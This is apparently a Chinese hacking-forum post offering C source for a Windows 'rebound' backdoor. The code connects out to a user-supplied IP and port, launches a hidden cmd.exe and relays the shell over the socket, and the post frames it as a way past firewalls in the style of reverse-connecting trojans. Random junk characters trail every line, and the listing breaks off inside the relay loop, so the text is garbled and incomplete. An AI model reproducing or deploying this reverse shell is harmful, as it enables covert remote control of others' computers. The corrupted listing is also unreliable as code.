这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fC(lY4,H3R
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/* ============================== @$tQz
Rebound port in Windows NT )Oa"B;\j
By wind,2006/7 ?(ks=rRK
===============================*/ i8A5m@,G
#include ^t#]E#
#include _}Z*%sT
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#pragma comment(lib,"wsock32.lib") 17nWrTxR$
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void OutputShell(); |F6C&GNYT
SOCKET sClient; OPKm^}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5#:tL&q
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void main(int argc,char **argv) rWa7"<`p
{ EmY8AN(*
WSADATA stWsaData; spFsrB
int nRet; x}F.<`
SOCKADDR_IN stSaiClient,stSaiServer; !Ng^k>*h
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if(argc != 3) J$'T2@H#
{ ]>:%:-d6
printf("Useage:\n\rRebound DestIP DestPort\n"); s31^9a
return; ~r@'k UXKK
} B?TAS
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WSAStartup(MAKEWORD(2,2),&stWsaData); U6_1L,W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }V9146
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stSaiClient.sin_family = AF_INET; S, Oy}Nv
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I,?bZ&@8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i?|K+"=D
{ :B"'49Q`
printf("Bind Socket Failed!\n"); Cr(pN[,
return; AV%Q5Mi}
} !nykq}kPN\
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stSaiServer.sin_family = AF_INET; 4(Y5n? /
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]kKf4SJZFU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }H^# }
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TcRnjsY$
{ L{(r@Vu
printf("Connect Error!"); 7N'F]x
return; b6]M}ixK
} Z$[A.gD4
OutputShell(); BH*vsxe
} 3ON]c13
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void OutputShell() BNzL+"W
{ 4"7Qz z
char szBuff[1024]; GW}KmTa]&
SECURITY_ATTRIBUTES stSecurityAttributes; R %}k52`
OSVERSIONINFO stOsversionInfo; 9Z#37)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RRq*CLj
STARTUPINFO stStartupInfo; EB\z:n5
char *szShell; WqTW@-}I D
PROCESS_INFORMATION stProcessInformation; Q~*A`h#
unsigned long lBytesRead; ((X"D/F]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %DRDe
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5[*MT%ms
stSecurityAttributes.lpSecurityDescriptor = 0; w.0.||C
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stSecurityAttributes.bInheritHandle = TRUE; 8uCd|dJ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -"a]) -
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y}|78|q*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iJsw:Nc
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R>Zn$%j\
stStartupInfo.wShowWindow = SW_HIDE; 4.VEE~sH$
stStartupInfo.hStdInput = hReadPipe; a(}jn|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8q0f#/`v
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GetVersionEx(&stOsversionInfo); XK&#K? M
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switch(stOsversionInfo.dwPlatformId) Ye )(9
{ mexI}
case 1: h]'fX
szShell = "command.com"; v4Nb/Y
break; U&B~GJT+
default: }]?RngTt
szShell = "cmd.exe"; <F!:dyl
break; 1BWuFYB
} +{#BQbx6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $G=\i>R.
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send(sClient,szMsg,77,0);
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while(1) 4wNxn
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{ heh!cDK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7&